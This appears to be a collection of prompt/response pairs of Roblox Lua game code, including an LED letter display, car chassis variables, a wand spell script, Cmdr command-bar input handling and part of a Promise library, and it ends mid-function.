    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOn
    script.Parent.Row4["1"].BackgroundTransparency = LEDOff
    script.Parent.Row4["2"].BackgroundTransparency = LEDOn
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOn
    script.Parent.Row5["1"].BackgroundTransparency = LEDOff
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOn
    script.Parent.Row6["1"].BackgroundTransparency = LEDOff
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOn
    script.Parent.Row6["5"].BackgroundTransparency = LEDOff
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOff
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end

	--Custom Label
	if Value == "L" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOn
    script.Parent.Row1["2"].BackgroundTransparency = LEDOff
    script.Parent.Row1["3"].BackgroundTransparency = LEDOff
    script.Parent.Row1["4"].BackgroundTransparency = LEDOff
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOff
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOn
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOff
    script.Parent.Row4["4"].BackgroundTransparency = LEDOff
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOff
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOff
    script.Parent.Row7["1"].BackgroundTransparency = LEDOn
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOn
		return
	end
	if Value == "G" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOn
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOff
    script.Parent.Row4["4"].BackgroundTransparency = LEDOff
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOn
    script.Parent.Row5["5"].BackgroundTransparency = LEDOn
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOn
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "B" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOn
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOn
    script.Parent.Row4["1"].BackgroundTransparency = LEDOn
    script.Parent.Row4["2"].BackgroundTransparency = LEDOn
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOn
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOn
    script.Parent.Row7["1"].BackgroundTransparency = LEDOn
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "M" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOn
    script.Parent.Row1["2"].BackgroundTransparency = LEDOff
    script.Parent.Row1["3"].BackgroundTransparency = LEDOff
    script.Parent.Row1["4"].BackgroundTransparency = LEDOff
    script.Parent.Row1["5"].BackgroundTransparency = LEDOn
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOn
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOn
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOn
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOn
    script.Parent.Row4["1"].BackgroundTransparency = LEDOn
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOff
    script.Parent.Row4["5"].BackgroundTransparency = LEDOn
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOn
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOn
    script.Parent.Row7["1"].BackgroundTransparency = LEDOn
    script.Parent.Row7["2"].BackgroundTransparency = LEDOff
    script.Parent.Row7["3"].BackgroundTransparency = LEDOff
    script.Parent.Row7["4"].BackgroundTransparency = LEDOff
    script.Parent.Row7["5"].BackgroundTransparency = LEDOn
		return
	end
	if Value == "E" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOn
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOn
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOff
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOn
    script.Parent.Row4["2"].BackgroundTransparency = LEDOn
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOn
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOff
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOff
    script.Parent.Row7["1"].BackgroundTransparency = LEDOn
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOn
		return
	end
	if Value == "U" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOn
    script.Parent.Row1["2"].BackgroundTransparency = LEDOff
    script.Parent.Row1["3"].BackgroundTransparency = LEDOff
    script.Parent.Row1["4"].BackgroundTransparency = LEDOff
    script.Parent.Row1["5"].BackgroundTransparency = LEDOn
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOn
    script.Parent.Row4["1"].BackgroundTransparency = LEDOn
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOff
    script.Parent.Row4["4"].BackgroundTransparency = LEDOff
    script.Parent.Row4["5"].BackgroundTransparency = LEDOn
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOn
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOn
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "P" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOn
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOn
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOn
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOn
    script.Parent.Row4["1"].BackgroundTransparency = LEDOn
    script.Parent.Row4["2"].BackgroundTransparency = LEDOn
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOn
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOff
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOff
    script.Parent.Row7["1"].BackgroundTransparency = LEDOn
    script.Parent.Row7["2"].BackgroundTransparency = LEDOff
    script.Parent.Row7["3"].BackgroundTransparency = LEDOff
    script.Parent.Row7["4"].BackgroundTransparency = LEDOff
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
	if Value == "Z" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOn
    script.Parent.Row1["2"].BackgroundTransparency = LEDOn
    script.Parent.Row1["3"].BackgroundTransparency = LEDOn
    script.Parent.Row1["4"].BackgroundTransparency = LEDOn
    script.Parent.Row1["5"].BackgroundTransparency = LEDOn
    script.Parent.Row2["1"].BackgroundTransparency = LEDOff
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOn
    script.Parent.Row3["1"].BackgroundTransparency = LEDOff
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOn
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOff
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOff
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOff
    script.Parent.Row5["2"].BackgroundTransparency = LEDOn
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOff
    script.Parent.Row6["1"].BackgroundTransparency = LEDOn
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOff
    script.Parent.Row7["1"].BackgroundTransparency = LEDOn
    script.Parent.Row7["2"].BackgroundTransparency = LEDOn
    script.Parent.Row7["3"].BackgroundTransparency = LEDOn
    script.Parent.Row7["4"].BackgroundTransparency = LEDOn
    script.Parent.Row7["5"].BackgroundTransparency = LEDOn
		return
	end
	if Value == "-" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
    script.Parent.Row1["2"].BackgroundTransparency = LEDOff
    script.Parent.Row1["3"].BackgroundTransparency = LEDOff
    script.Parent.Row1["4"].BackgroundTransparency = LEDOff
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOff
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOff
    script.Parent.Row3["1"].BackgroundTransparency = LEDOff
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOn
    script.Parent.Row4["2"].BackgroundTransparency = LEDOn
    script.Parent.Row4["3"].BackgroundTransparency = LEDOn
    script.Parent.Row4["4"].BackgroundTransparency = LEDOn
    script.Parent.Row4["5"].BackgroundTransparency = LEDOn
    script.Parent.Row5["1"].BackgroundTransparency = LEDOff
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOff
    script.Parent.Row6["1"].BackgroundTransparency = LEDOff
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOff
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOff
    script.Parent.Row7["3"].BackgroundTransparency = LEDOff
    script.Parent.Row7["4"].BackgroundTransparency = LEDOff
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end

	--Blank
	if Value == "" then
    script.Parent.Row1["1"].BackgroundTransparency = LEDOff
    script.Parent.Row1["2"].BackgroundTransparency = LEDOff
    script.Parent.Row1["3"].BackgroundTransparency = LEDOff
    script.Parent.Row1["4"].BackgroundTransparency = LEDOff
    script.Parent.Row1["5"].BackgroundTransparency = LEDOff
    script.Parent.Row2["1"].BackgroundTransparency = LEDOff
    script.Parent.Row2["2"].BackgroundTransparency = LEDOff
    script.Parent.Row2["3"].BackgroundTransparency = LEDOff
    script.Parent.Row2["4"].BackgroundTransparency = LEDOff
    script.Parent.Row2["5"].BackgroundTransparency = LEDOff
    script.Parent.Row3["1"].BackgroundTransparency = LEDOff
    script.Parent.Row3["2"].BackgroundTransparency = LEDOff
    script.Parent.Row3["3"].BackgroundTransparency = LEDOff
    script.Parent.Row3["4"].BackgroundTransparency = LEDOff
    script.Parent.Row3["5"].BackgroundTransparency = LEDOff
    script.Parent.Row4["1"].BackgroundTransparency = LEDOff
    script.Parent.Row4["2"].BackgroundTransparency = LEDOff
    script.Parent.Row4["3"].BackgroundTransparency = LEDOff
    script.Parent.Row4["4"].BackgroundTransparency = LEDOff
    script.Parent.Row4["5"].BackgroundTransparency = LEDOff
    script.Parent.Row5["1"].BackgroundTransparency = LEDOff
    script.Parent.Row5["2"].BackgroundTransparency = LEDOff
    script.Parent.Row5["3"].BackgroundTransparency = LEDOff
    script.Parent.Row5["4"].BackgroundTransparency = LEDOff
    script.Parent.Row5["5"].BackgroundTransparency = LEDOff
    script.Parent.Row6["1"].BackgroundTransparency = LEDOff
    script.Parent.Row6["2"].BackgroundTransparency = LEDOff
    script.Parent.Row6["3"].BackgroundTransparency = LEDOff
    script.Parent.Row6["4"].BackgroundTransparency = LEDOff
    script.Parent.Row6["5"].BackgroundTransparency = LEDOff
    script.Parent.Row7["1"].BackgroundTransparency = LEDOff
    script.Parent.Row7["2"].BackgroundTransparency = LEDOff
    script.Parent.Row7["3"].BackgroundTransparency = LEDOff
    script.Parent.Row7["4"].BackgroundTransparency = LEDOff
    script.Parent.Row7["5"].BackgroundTransparency = LEDOff
		return
	end
end

SP.Value.Changed:connect(function() SetDigit(SP.Value.Value) end)


Prompt: --[[Status Vars]]

Response:
	local _IsOn = _Tune.AutoStart
	if _Tune.AutoStart then script.Parent.IsOn.Value=true end

	local _GSteerT=0
	local _GSteerC=0
	local _GThrot=0
	local _GBrake=0

	local _ClutchOn = true
	local _ClPressing = false
	local _RPM = 0
	local _HP = 0
	local _OutTorque = 0
	local _CGear = 0
	local _PGear = _CGear
	local _spLimit = 0

	local _TMode = _Tune.TransModes[1]

	local _MSteer = false
	local _SteerL = false
	local _SteerR = false
	local _PBrake = false
	local _TCS = _Tune.TCSEnabled
	local _TCSActive = false
	local _ABS = _Tune.ABSEnabled
	local _ABSActive = false

	local FlipWait=tick()
	local FlipDB=false

	local _InControls = false


Prompt: ---Flip

Response:
function Flip()
	if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then
		FlipWait=tick()
	else
		if tick()-FlipWait>=3 then
			FlipDB=true
			local gyro = car.DriveSeat.Flip
			gyro.maxTorque = Vector3.new(10000,0,10000)
			gyro.P=3000
			gyro.D=500
			wait(1)
			gyro.maxTorque = Vector3.new(0,0,0)
			gyro.P=0
			gyro.D=0
			FlipDB=false
		end
	end
end


Prompt:
--[[ D fl V Y
This is made purely from scratch. If you say I am a free-model-noob, you are obviously blind and I will pwn you (with this wand, ironically).
This is DavyDeckwalker's magic wand, which is voice activated and comes with the primary spells from the Harry Potter books by
J. K. Rowling. It is easy to use, all you have to do is say the incantation for a spell and you automatically cast that spell.
To make your own spell, follow the included instructions. Recommended for scripters only.
]]

Response:
local wand = script.Parent
local stick = wand.Handle
local inc = script.Name
local owner, connect

function findNearestTorso(pos, dis)
	local list = game.Workspace:children()
	local torso = nil
	local dist = dis
	local temp = nil
	local human = nil
	local temp2 = nil
	for x = 1, #list do
		temp2 = list[x]
		if (temp2.className == "Model") and (temp2 ~= wand.Parent) then
			temp = temp2:findFirstChild("Torso")
			human = temp2:findFirstChild("Humanoid")
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
				if (temp.Position - pos).magnitude < dist then
					torso = temp
				end
			end
		end
	end
	return torso
end


Prompt: -- New maid object:

Response:
function MadworkMaid.NewMaid() --> [Maid]
	local maid = {
		_cleanup_tasks = {},
		_is_cleaned = false,
	}
	setmetatable(maid, Maid)
	return maid
end

MadworkMaid.Cleanup = PerformCleanupTask

return MadworkMaid


Prompt: --- Sends an event message to all players

Response:
function Command:BroadcastEvent(...)
	if not IsServer then
		error("Can't broadcast event messages from the client.", 2)
	end

	self.Dispatcher.Cmdr.RemoteEvent:FireAllClients(...)
end


Prompt: --- Handles user input when the box is focused

Response:
function Window:BeginInput(input, gameProcessed)
	if GuiService.MenuIsOpen then
		self:Hide()
	end

	if gameProcessed and self:IsVisible() == false then
		return
	end

	if self.Cmdr.ActivationKeys[input.KeyCode] then -- Activate the command bar
		if self.Cmdr.MashToEnable and not self.Cmdr.Enabled then
			if tick() - lastPressTime < 1 then
				if pressCount >= 5 then
					return self.Cmdr:SetEnabled(true)
				else
					pressCount = pressCount + 1
				end
			else
				pressCount = 1
			end
			lastPressTime = tick()
		elseif self.Cmdr.Enabled then
			self:SetVisible(not self:IsVisible())
			wait()
			self:SetEntryText("")

			if GuiService.MenuIsOpen then -- Special case for menu getting stuck open (roblox bug)
				self:Hide()
			end
		end

		return
	end

	if self.Cmdr.Enabled == false or not self:IsVisible() then
		if self:IsVisible() then
			self:Hide()
		end

		return
	end

	if self.Cmdr.HideOnLostFocus and table.find(MOUSE_TOUCH_ENUM, input.UserInputType) then
		local ps = input.Position
		local ap = Gui.AbsolutePosition
		local as = Gui.AbsoluteSize
		if ps.X < ap.X or ps.X > ap.X + as.X or ps.Y < ap.Y or ps.Y > ap.Y + as.Y then
			self:Hide()
		end
	elseif input.KeyCode == Enum.KeyCode.Down then -- Auto Complete Down
		self:SelectVertical(1)
	elseif input.KeyCode == Enum.KeyCode.Up then -- Auto Complete Up
		self:SelectVertical(-1)
	elseif input.KeyCode == Enum.KeyCode.Return then -- Eat new lines
		wait()
		self:SetEntryText(self:GetEntryText():gsub("\n", ""):gsub("\r", ""))
	elseif input.KeyCode == Enum.KeyCode.Tab then -- Auto complete
		local item = self.AutoComplete:GetSelectedItem()
		local text = self:GetEntryText()
		if item and not (text:sub(#text, #text):match("%s") and self.AutoComplete.LastItem) then
			local replace = item[2]
			local newText
			local insertSpace = true
			local command = self.AutoComplete.Command

			if command then
				local lastArg = self.AutoComplete.Arg

				newText = command.Alias
				insertSpace = self.AutoComplete.NumArgs ~= #command.ArgumentDefinitions
					and self.AutoComplete.IsPartial == false

				local args = command.Arguments
				for i = 1, #args do
					local arg = args[i]
					local segments = arg.RawSegments
					if arg == lastArg then
						segments[#segments] = replace
					end

					local argText = arg.Prefix .. table.concat(segments, ",")

					-- Put auto completion options in quotation marks if they have a space
					if argText:find(" ") or argText == "" then
						argText = ("%q"):format(argText)
					end

					newText = ("%s %s"):format(newText, argText)

					if arg == lastArg then
						break
					end
				end
			else
				newText = replace
			end
			-- need to wait a frame so we can eat the \t
			wait()
			-- Update the text box
			self:SetEntryText(newText .. (insertSpace and " " or ""))
		else
			-- Still need to eat the \t even if there is no auto-complete to show
			wait()
			self:SetEntryText(self:GetEntryText())
		end
	else
		self:ClearHistoryState()
	end
end


Response:
local Frame = script.Parent
local plr = game.Players.LocalPlayer
local char = plr.Character
local humanoid
if char then
	humanoid = char:FindFirstChildWhichIsA("Humanoid")
else
	char = plr.CharacterAdded:Wait()
	humanoid = char:FindFirstChildWhichIsA("Humanoid")
end
local speeds = Frame:WaitForChild("Speeds")
local event = Frame:WaitForChild("Speed")
local enabled = Frame:WaitForChild("Enabled")
local tired = false
local running = false
local moving = false


Prompt:
--[[
	Intended for use in tests.
	Similar to await(), but instead of yielding if the promise is unresolved,
	_unwrap will throw. This indicates an assumption that a promise has
	resolved.
]]

Response:
function Promise.prototype:_unwrap()
	if self._status == Promise.Status.Started then
		error("Promise has not resolved or rejected.", 2)
	end

	local success = self._status == Promise.Status.Resolved

	return success, unpack(self._values, 1, self._valuesLength)
end

function Promise.prototype:_resolve(...)
	if self._status ~= Promise.Status.Started then
		return
	end

	-- If the resolved value was a Promise, we chain onto it!
	if Promise.is((...)) then
		-- Without this warning, arguments sometimes mysteriously disappear
		if select("#", ...) > 1 then
			local message = (
				"When returning a Promise from andThen, extra arguments are " ..
				"discarded! See:\n\n%s"
			):format(
				self._source
			)
			warn(message)
		end

		(...):andThen(
